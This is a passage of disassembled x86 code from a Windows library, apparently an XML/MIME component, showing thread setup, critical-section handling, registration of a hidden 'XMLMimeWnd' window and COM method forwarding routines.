		mov	[ebp+var_20], ax
		xor	eax, eax
		cmp	[ebp+arg_0], ax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 4
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], eax
		jz	short loc_69B80A24
		cmp	[ebp+arg_0], bx
		setnz	al
		lea	eax, [eax+eax+2]
		mov	ebx, eax


loc_69B80A24:				; CODE XREF: sub_69B80996+7Fj
		mov	eax, [esi+24h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		lea	edx, [ebp+var_20]
		push	edx
		push	edi
		push	ebx
		push	eax
		call	dword ptr [ecx+24h]
		mov	edi, eax


loc_69B80A39:				; CODE XREF: sub_69B80996+10j
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B80A4D
		mov	ecx, esi
		call	sub_69B8060F
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B80A4D:				; CODE XREF: sub_69B80996+A8j
		mov	eax, edi


loc_69B80A4F:				; CODE XREF: sub_69B80996+54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B80996	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80A56	proc near		; CODE XREF: sub_69B1E4CF+664Ep
		push	esi
		mov	esi, ecx
		call	sub_69B806C5
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B80A6A
		push	eax
		call	sub_69B1B2B7


loc_69B80A6A:				; CODE XREF: sub_69B80A56+Cj
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_69B80A56	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80A6F	proc near		; CODE XREF: sub_69B80AE7+1Ap
					; sub_69B826F2+8Dp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		xor	ebp, ebp
		call	ds:EnterCriticalSection
		mov	eax, [esi+0Ch]
		cmp	[esi+8], eax
		jnz	short loc_69B80AC4
		lea	edi, [eax+0Ah]
		mov	eax, edi
		shl	eax, 2
		push	eax
		call	sub_69B11E44
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B80AD5
		mov	eax, [esi]
		test	eax, eax
		mov	[esi+0Ch], edi
		jz	short loc_69B80AC2
		mov	ecx, [esi+8]
		shl	ecx, 2
		push	ecx
		push	eax
		push	ebx
		call	sub_69B22103
		mov	eax, [esi]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_69B80AC2
		push	eax
		call	sub_69B1B2B7


loc_69B80AC2:				; CODE XREF: sub_69B80A6F+34j
					; sub_69B80A6F+4Bj
		mov	[esi], ebx


loc_69B80AC4:				; CODE XREF: sub_69B80A6F+17j
		mov	ecx, [esi+8]
		mov	eax, [esp+10h+arg_0]
		mov	edx, [esi]
		mov	[edx+ecx*4], eax
		inc	dword ptr [esi+8]
		mov	ebp, eax


loc_69B80AD5:				; CODE XREF: sub_69B80A6F+2Bj
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn	4
sub_69B80A6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80AE7	proc near		; CODE XREF: StartAddress+8Bp
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, esi
		call	sub_69B80662
		test	eax, eax
		jz	short loc_69B80B06
		push	eax
		mov	ecx, esi
		call	sub_69B80A6F


loc_69B80B06:				; CODE XREF: sub_69B80AE7+15j
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	esi
		retn
sub_69B80AE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80B11	proc near		; CODE XREF: sub_69B80F68+3p
					; sub_69B80FD0+11j
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+4]
		mov	dword ptr [esi], offset	off_69B14660
		mov	ecx, dword_69B95AD8
		call	sub_69B808E7
		mov	dword ptr [esi], offset	off_69B14648
		pop	esi
		retn
sub_69B80B11	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80B30	proc near		; DATA XREF: .text:69B14674o
					; .text:69B15430o ...
		mov	eax, [ecx+4]
		retn
sub_69B80B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80B34	proc near		; DATA XREF: .text:69B14670o
					; .text:69B2A7A0o
		mov	dword ptr [ecx+8], 1
		retn
sub_69B80B34	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80B3C	proc near		; CODE XREF: sub_69B80FD0+9p
					; DATA XREF: .text:69B2A79Co
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_69B80B76
		call	sub_69B82A4C
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+14h]
		mov	ecx, dword_69B95AD8
		push	eax
		call	sub_69B808AE
		push	esi
		push	0
		push	800Ch
		push	eax
		call	ds:SHLWAPI_136
		push	dword ptr [esi+14h] ; hEvent
		call	ds:SetEvent	; SetEvent


loc_69B80B76:				; CODE XREF: sub_69B80B3C+8j
		pop	esi
		retn
sub_69B80B3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80B78	proc near		; CODE XREF: sub_69B80CF6+33p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+10h]
		test	edi, edi
		jz	short loc_69B80B94
		and	dword ptr [esi+10h], 0
		mov	ecx, edi
		call	sub_69B827FE
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_69B80B94:				; CODE XREF: sub_69B80B78+9j
		lea	eax, [esi+0Ch]
		cmp	dword ptr [eax], 0
		pop	edi
		pop	esi
		jz	short locret_69B80BA4
		push	eax
		call	sub_69B17230

locret_69B80BA4:			; CODE XREF: sub_69B80B78+24j
		retn
sub_69B80B78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; DATA XREF: sub_69B80D8E+39o

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		xor	edi, edi
		push	edi		; pvReserved
		mov	dword_69B9B6B8,	eax
		call	ds:CoInitialize
		push	0FFFFFFFFh	; nPriority
		call	ds:GetCurrentThread	; GetCurrentThread
		push	eax		; hThread
		call	ds:SetThreadPriority	; SetThreadPriority


loc_69B80BD1:				; CODE XREF: StartAddress+5Cj
					; StartAddress+F2j
		push	0FFh		; dwWakeMask
		push	0FFFFFFFFh	; dwMilliseconds
		push	edi		; fWaitAll
		push	offset pHandles	; pHandles
		push	2		; nCount
		call	MsgWaitForMultipleObjects	; MsgWaitForMultipleObjects
		sub	eax, edi
		jz	loc_69B80C76
		dec	eax
		jz	loc_69B80C9C
		dec	eax
		jnz	loc_69B80CE1
		call	sub_69B80814
		jmp	short loc_69B80BD1
; ---------------------------------------------------------------------------


loc_69B80C03:				; CODE XREF: StartAddress+E0j
		call	dword_69B92948
		mov	ebx, eax
		cmp	ebx, edi
		jz	short loc_69B80C66
		push	edi
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4]
		sub	eax, edi
		jz	short loc_69B80C40
		dec	eax
		jz	short loc_69B80C37
		dec	eax
		jnz	short loc_69B80C5E
		mov	ecx, dword_69B95ADC
		call	sub_69B80AE7
		jmp	short loc_69B80C5E
; ---------------------------------------------------------------------------


loc_69B80C37:				; CODE XREF: StartAddress+80j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0Ch]
		jmp	short loc_69B80C47
; ---------------------------------------------------------------------------


loc_69B80C40:				; CODE XREF: StartAddress+7Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]


loc_69B80C47:				; CODE XREF: StartAddress+99j
		mov	ecx, dword_69B95ADC
		call	sub_69B80662
		cmp	eax, edi
		jz	short loc_69B80C5E
		mov	edx, [eax]
		mov	ecx, eax
		push	1
		call	dword ptr [edx]


loc_69B80C5E:				; CODE XREF: StartAddress+83j
					; StartAddress+90j ...
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C


loc_69B80C66:				; CODE XREF: StartAddress+68j
		call	sub_69B80814
		cmp	ebx, edi
		jz	short loc_69B80C76
		push	ebx
		call	dword_69B92944


loc_69B80C76:				; CODE XREF: StartAddress+43j
					; StartAddress+C8j
		mov	ecx, dword_69B95ADC
		call	sub_69B8069F
		mov	esi, eax
		cmp	esi, edi
		jnz	loc_69B80C03
		push	pHandles	; hEvent
		call	ds:ResetEvent	; ResetEvent
		jmp	loc_69B80BD1
; ---------------------------------------------------------------------------


loc_69B80C9C:				; CODE XREF: StartAddress+4Aj
		call	dword_69B92948
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_69B80CC5
		push	edi
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	ecx, dword_69B95ADC
		call	sub_69B806C5
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C


loc_69B80CC5:				; CODE XREF: StartAddress+101j
		call	sub_69B80814
		push	hEvent		; hEvent
		call	ds:ResetEvent	; ResetEvent
		cmp	esi, edi
		jz	short loc_69B80CE1
		push	esi
		call	dword_69B92944


loc_69B80CE1:				; CODE XREF: StartAddress+51j
					; StartAddress+133j
		call	ds:CoUninitialize
		mov	dword_69B9B6B8,	edi
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
StartAddress	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B80CF6	proc near		; CODE XREF: sub_69B80D36+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		mov	edi, ds:SHLWAPI_116
		mov	esi, 800Ah
		jmp	short loc_69B80D15
; ---------------------------------------------------------------------------


loc_69B80D0B:				; CODE XREF: sub_69B80CF6+2Ej
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:SHLWAPI_60


loc_69B80D15:				; CODE XREF: sub_69B80CF6+13j
		push	1
		push	esi
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		call	edi ; SHLWAPI_116
		test	eax, eax
		jnz	short loc_69B80D0B
		mov	ecx, [ebp+arg_4]
		call	sub_69B80B78
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	8
sub_69B80CF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B80D36	proc near		; DATA XREF: sub_69B80FE6+60o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		sub	eax, 800Ah
		jz	short loc_69B80D67
		dec	eax
		jz	short loc_69B80D5D
		dec	eax
		jz	short loc_69B80D50
		pop	ebp
		jmp	ds:SHLWAPI_56
; ---------------------------------------------------------------------------


loc_69B80D50:				; CODE XREF: sub_69B80D36+11j
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_69B80CF6
		jmp	short loc_69B80D8A
; ---------------------------------------------------------------------------


loc_69B80D5D:				; CODE XREF: sub_69B80D36+Ej
		mov	ecx, [ebp+arg_C]
		call	sub_69B81A7A
		jmp	short loc_69B80D88
; ---------------------------------------------------------------------------


loc_69B80D67:				; CODE XREF: sub_69B80D36+Bj
		mov	ecx, dword_69B95AD8
		test	ecx, ecx
		jz	short loc_69B80D88
		push	[ebp+arg_0]
		call	sub_69B80933
		test	eax, eax
		jz	short loc_69B80D88
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		call	sub_69B80996


loc_69B80D88:				; CODE XREF: sub_69B80D36+2Fj
					; sub_69B80D36+39j ...
		xor	eax, eax


loc_69B80D8A:				; CODE XREF: sub_69B80D36+25j
		pop	ebp
		retn	10h
sub_69B80D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80D8E	proc near		; CODE XREF: sub_69B80FE6+DEp

ThreadId	= dword	ptr -4

		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_69B95AE0,	edi
		mov	esi, offset CriticalSection
		jnz	short loc_69B80DB1
		push	esi		; lpCriticalSection
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	dword_69B95AE0,	1


loc_69B80DB1:				; CODE XREF: sub_69B80D8E+10j
		push	esi		; lpCriticalSection
		call	ds:EnterCriticalSection
		cmp	dword_69B95AF0,	edi
		jnz	short loc_69B80DE6
		lea	eax, [esp+0Ch+ThreadId]
		push	eax		; lpThreadId
		push	edi		; dwCreationFlags
		push	edi		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	7D000h		; dwStackSize
		push	edi		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		cmp	eax, edi
		mov	dword_69B95AF0,	eax
		jnz	short loc_69B80DE6
		mov	edi, 80004005h


loc_69B80DE6:				; CODE XREF: sub_69B80D8E+30j
					; sub_69B80D8E+51j
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn
sub_69B80D8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80DF3	proc near		; CODE XREF: sub_69B1E4CF+66A1p
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B80E02
		push	eax
		call	sub_69B1B2B7


loc_69B80E02:				; CODE XREF: sub_69B80DF3+7j
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_69B80DF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80E07	proc near		; CODE XREF: sub_69B826F2+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		xor	edi, edi
		mov	[esp+1Ch+var_4], edi
		call	ds:EnterCriticalSection
		mov	eax, [esi]
		xor	ebx, ebx
		cmp	eax, edi
		jz	short loc_69B80E38
		cmp	[esi+8], edi
		jbe	short loc_69B80E38


loc_69B80E2B:				; CODE XREF: sub_69B80E07+2Fj
		cmp	[eax], edi
		jz	short loc_69B80E38
		inc	ebx
		add	eax, 8
		cmp	ebx, [esi+8]
		jb	short loc_69B80E2B


loc_69B80E38:				; CODE XREF: sub_69B80E07+1Dj
					; sub_69B80E07+22j ...
		mov	ebp, [esi+8]
		cmp	ebx, ebp
		jnz	short loc_69B80EA4
		add	ebp, 0Ah
		mov	edi, ebp
		shl	edi, 3
		push	edi
		call	sub_69B11E44
		mov	edx, eax
		test	edx, edx
		mov	[esp+18h+var_8], edx
		jz	loc_69B80EEF
		mov	ecx, edi
		mov	edi, edx
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [esi]
		test	eax, eax
		mov	[esi+8], ebp
		jz	short loc_69B80E9C
		mov	edi, [esp+18h+var_8]
		mov	ecx, ebx
		shl	ecx, 3
		push	ecx
		push	eax
		push	edi
		call	sub_69B22103
		mov	eax, [esi]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_69B80E98
		push	eax
		call	sub_69B1B2B7


loc_69B80E98:				; CODE XREF: sub_69B80E07+89j
		mov	[esi], edi
		jmp	short loc_69B80EA2
; ---------------------------------------------------------------------------


loc_69B80E9C:				; CODE XREF: sub_69B80E07+6Fj
		mov	eax, [esp+18h+var_8]
		mov	[esi], eax


loc_69B80EA2:				; CODE XREF: sub_69B80E07+93j
		xor	edi, edi


loc_69B80EA4:				; CODE XREF: sub_69B80E07+36j
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		push	edi		; lpParam
		push	hModule		; hInstance
		push	edi		; hMenu
		push	edi		; hWndParent
		push	edi		; nHeight
		push	edi		; nWidth
		push	edi		; Y
		push	edi		; X
		push	80000000h	; dwStyle
		push	edi		; lpWindowName
		push	offset ClassName ; "XMLMimeWnd"
		push	edi		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_69B80EF8
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, [esi]
		mov	[eax+ebx*8], ebp
		mov	eax, [esi]
		mov	dword ptr [eax+ebx*8+4], 1
		inc	ebx
		mov	[esp+18h+var_4], ebx


loc_69B80EEF:				; CODE XREF: sub_69B80E07+4Ej
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B80EF8:				; CODE XREF: sub_69B80E07+C9j
		mov	eax, [esp+18h+var_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_69B80E07	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80F03	proc near		; CODE XREF: sub_69B80F42+17p
					; sub_69B82198+16p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; lpCriticalSection
		mov	ebx, 80004005h
		call	ds:EnterCriticalSection
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		mov	ecx, esi
		call	sub_69B808AE
		test	eax, eax
		jz	short loc_69B80F31
		mov	eax, [esi]
		lea	eax, [eax+edi*8-8]
		inc	dword ptr [eax+4]
		xor	ebx, ebx


loc_69B80F31:				; CODE XREF: sub_69B80F03+21j
		push	dword ptr [esi+4] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_69B80F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80F42	proc near		; CODE XREF: sub_69B80F83+9p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B14660
		mov	[esi+4], eax
		mov	ecx, dword_69B95AD8
		push	eax
		call	sub_69B80F03
		and	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B80F42	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80F68	proc near		; DATA XREF: .text:off_69B14660o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B80B11
		test	[esp+4+arg_0], 1
		jz	short loc_69B80F7D
		push	esi
		call	sub_69B1B2B7


loc_69B80F7D:				; CODE XREF: sub_69B80F68+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B80F68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B80F83	proc near		; CODE XREF: sub_69B826F2+77p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_0]
		mov	esi, ecx
		call	sub_69B80F42
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_8]
		and	dword ptr [esi+1Ch], 0
		mov	[esi+14h], eax
		mov	eax, [ebp+arg_4]
		mov	dword ptr [esi], offset	off_69B2A790
		mov	dword ptr [esi+18h], 1
		mov	[esi+0Ch], eax
		mov	[esi+10h], ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [esi+10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+arg_10]
		mov	[esi+20h], eax
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	14h
sub_69B80F83	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B80FD0	proc near		; CODE XREF: sub_69B810D5+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B2A790
		call	sub_69B80B3C
		mov	ecx, esi
		pop	esi
		jmp	sub_69B80B11
sub_69B80FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B80FE6	proc near		; CODE XREF: sub_69B826F2+16p

WndClass	= WNDCLASSA ptr	-28h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		mov	ebx, ds:InitializeCriticalSection
		push	esi
		xor	esi, esi
		cmp	dword_69B95AD8,	esi
		push	edi
		jnz	short loc_69B81027
		mov	edi, offset stru_69B9B6A0
		push	edi		; lpCriticalSection
		call	ebx ; InitializeCriticalSection
		push	0Ch
		call	sub_69B11E44
		cmp	eax, esi
		jz	short loc_69B8101C
		mov	[eax], esi
		mov	[eax+4], edi
		mov	[eax+8], esi
		jmp	short loc_69B8101E
; ---------------------------------------------------------------------------


loc_69B8101C:				; CODE XREF: sub_69B80FE6+2Aj
		xor	eax, eax


loc_69B8101E:				; CODE XREF: sub_69B80FE6+34j
		cmp	eax, esi
		mov	dword_69B95AD8,	eax
		jz	short loc_69B81098


loc_69B81027:				; CODE XREF: sub_69B80FE6+17j
		cmp	word_69B95AEC, si
		jnz	short loc_69B81065
		push	0Ah
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+WndClass]
		rep stosd
		mov	eax, hModule
		mov	[ebp+WndClass.hInstance], eax
		lea	eax, [ebp+WndClass]
		push	eax		; lpWndClass
		mov	[ebp+WndClass.lpfnWndProc], offset sub_69B80D36
		mov	[ebp+WndClass.lpszClassName], offset ClassName ; "XMLMimeWnd"
		call	RegisterClassA	; RegisterClassA
		cmp	ax, si
		mov	word_69B95AEC, ax
		jz	short loc_69B810CE


loc_69B81065:				; CODE XREF: sub_69B80FE6+48j
		cmp	dword_69B95ADC,	esi
		jnz	short loc_69B8109F
		mov	edi, offset stru_69B9B688
		push	edi		; lpCriticalSection
		call	ebx ; InitializeCriticalSection
		push	10h
		call	sub_69B11E44
		cmp	eax, esi
		jz	short loc_69B8108D
		mov	[eax], esi
		mov	[eax+4], edi
		mov	[eax+0Ch], esi
		mov	[eax+8], esi
		jmp	short loc_69B8108F
; ---------------------------------------------------------------------------


loc_69B8108D:				; CODE XREF: sub_69B80FE6+98j
		xor	eax, eax


loc_69B8108F:				; CODE XREF: sub_69B80FE6+A5j
		cmp	eax, esi
		mov	dword_69B95ADC,	eax
		jnz	short loc_69B8109F


loc_69B81098:				; CODE XREF: sub_69B80FE6+3Fj
		mov	eax, 8007000Eh
		jmp	short loc_69B810C9
; ---------------------------------------------------------------------------


loc_69B8109F:				; CODE XREF: sub_69B80FE6+85j
					; sub_69B80FE6+B0j
		mov	edi, offset pHandles


loc_69B810A4:				; CODE XREF: sub_69B80FE6+DCj
		cmp	[edi], esi
		jnz	short loc_69B810B9
		push	esi		; lpName
		push	esi		; bInitialState
		push	1		; bManualReset
		push	esi		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, esi
		mov	[edi], eax
		jz	short loc_69B810CE


loc_69B810B9:				; CODE XREF: sub_69B80FE6+C0j
		add	edi, 4
		cmp	edi, offset word_69B95AEC
		jl	short loc_69B810A4
		call	sub_69B80D8E


loc_69B810C9:				; CODE XREF: sub_69B80FE6+B7j
					; sub_69B80FE6+EDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B810CE:				; CODE XREF: sub_69B80FE6+7Dj
					; sub_69B80FE6+D1j
		mov	eax, 80004005h
		jmp	short loc_69B810C9
sub_69B80FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B810D5	proc near		; DATA XREF: .text:off_69B2A790o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B80FD0
		test	[esp+4+arg_0], 1
		jz	short loc_69B810EA
		push	esi
		call	sub_69B1B2B7


loc_69B810EA:				; CODE XREF: sub_69B810D5+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B810D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B8110C


loc_69B810F0:				; CODE XREF: sub_69B8110C+12j
		mov	eax, [ecx+2Ch]
		test	eax, eax
		mov	byte ptr [ecx+30h], 1
		jz	short locret_69B8110B
		mov	ecx, dword_69B95ADC
		test	ecx, ecx
		jz	short locret_69B8110B
		push	eax
		call	sub_69B8070D

locret_69B8110B:			; CODE XREF: sub_69B8110C-13j
					; sub_69B8110C-9j
		retn
; END OF FUNCTION CHUNK	FOR sub_69B8110C

; =============== S U B	R O U T	I N E =======================================



sub_69B8110C	proc near		; CODE XREF: sub_69B814F6+1Dp

; FUNCTION CHUNK AT 69B810F0 SIZE 0000001C BYTES

		cmp	dword ptr [ecx+28h], 0
		jz	short locret_69B81120
		mov	dword ptr [ecx+2Ch], 1
		mov	ecx, [ecx+30h]
		test	ecx, ecx
		jnz	short loc_69B810F0

locret_69B81120:			; CODE XREF: sub_69B8110C+4j
		retn
sub_69B8110C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81121	proc near		; CODE XREF: sub_69B7FB0F+E6p
					; sub_69B7FB0F+177p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		mov	[ecx+18h], eax
		jz	short locret_69B81132
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

locret_69B81132:			; CODE XREF: sub_69B81121+9j
		retn	4
sub_69B81121	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81135	proc near		; DATA XREF: .text:69B14684o
					; .text:69B16BA8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B81152
		push	[esp+arg_8]
		mov	eax, [eax+18h]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		jmp	short locret_69B81154
; ---------------------------------------------------------------------------


loc_69B81152:				; CODE XREF: sub_69B81135+8j
		xor	eax, eax

locret_69B81154:			; CODE XREF: sub_69B81135+1Bj
		retn	0Ch
sub_69B81135	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81157	proc near		; DATA XREF: .text:69B14688o
					; .text:69B16BACo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B81170
		mov	eax, [eax+18h]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		jmp	short locret_69B81172
; ---------------------------------------------------------------------------


loc_69B81170:				; CODE XREF: sub_69B81157+8j
		xor	eax, eax

locret_69B81172:			; CODE XREF: sub_69B81157+17j
		retn	8
sub_69B81157	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B81175	proc near		; DATA XREF: .text:69B1468Co
					; .text:69B16BB0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B8118E
		mov	eax, [eax+18h]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		jmp	short locret_69B81190
; ---------------------------------------------------------------------------


loc_69B8118E:				; CODE XREF: sub_69B81175+8j
		xor	eax, eax

locret_69B81190:			; CODE XREF: sub_69B81175+17j
		retn	8
sub_69B81175	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B81193	proc near		; DATA XREF: .text:69B14690o
					; .text:69B16BB4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B811B6
		push	[ebp+arg_10]
		mov	eax, [eax+18h]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+18h]
		jmp	short loc_69B811B8
; ---------------------------------------------------------------------------


loc_69B811B6:				; CODE XREF: sub_69B81193+Aj
		xor	eax, eax


loc_69B811B8:				; CODE XREF: sub_69B81193+21j
		pop	ebp
		retn	14h
sub_69B81193	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B811BC	proc near		; DATA XREF: .text:69B14694o
					; .text:69B16BB8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B811D9
		push	[esp+arg_8]
		mov	eax, [eax+18h]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		jmp	short locret_69B811DB
; ---------------------------------------------------------------------------


loc_69B811D9:				; CODE XREF: sub_69B811BC+8j
		xor	eax, eax

locret_69B811DB:			; CODE XREF: sub_69B811BC+1Bj
		retn	0Ch
sub_69B811BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B811DE	proc near		; CODE XREF: sub_69B816F0+5j
					; DATA XREF: .text:69B14698o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B811FB
		push	[esp+arg_8]
		mov	eax, [eax+18h]
		push	[esp+4+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short locret_69B811FD
